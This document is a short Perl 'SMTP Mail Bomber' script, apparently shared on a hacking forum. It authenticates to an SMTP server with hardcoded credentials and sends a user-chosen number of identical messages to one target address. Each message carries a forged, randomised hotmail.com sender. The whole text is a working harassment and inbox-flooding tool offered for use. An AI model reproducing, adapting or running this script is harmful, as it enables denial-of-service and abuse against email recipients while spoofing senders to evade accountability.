[Perl] Mailbomber

#!/usr/bin/perl
#
# [ Simple SMTP Mail Bomber ]
#
# Perl Edition by Perforin 
#modded by fred777
#


use Net::SMTP;
use NET::SMTP_auth;


($anzahl,$for,$subject) = @ARGV;
($user,$pass,$count,$version) = ('fubar@warezmail.net',"qwertz123",0,1); # Natürlich PW und User ändern


print <<INTRO;


+-+-+-+-+-+-+-+-+-+-+-+
+-+ SMTP Mailbomber  1.1+-+
+-+-+-+-+-+-+-+-+-+-+-+
                    V.$version 

INTRO


if (@ARGV < 3) {
print &quot;\n$0 <Number> <Mail> <Subject>\n&quot;;
} else {
print &quot;\nPlease type your Text here:\n&quot;;
chop($text = <STDIN>);


do {
$zahl = rand(30);
$extra = int($zahl);
$from = &quot;$extra&quot;.'@'.&quot;hotmail.com&quot;;
$smtp = Net::SMTP_auth->new('mail.warezmail.net'); # CHANGE SMTP SERVER
$smtp->auth('LOGIN', $user, $pass);
$smtp->mail();
$smtp->to($for);
$smtp->data();
$smtp->datasend(&quot;To: $for\n&quot;);
$smtp->datasend(&quot;From: $from\n&quot;);
$smtp->datasend(&quot;Subject: $subject\n&quot;);
$smtp->datasend(&quot;$text\n&quot;) or die &quot;not auth&quot;;
$smtp->dataend();
$smtp->quit;
$count++;
} until ($count == $anzahl);
print &quot;\nMails verschickt!\n&quot;;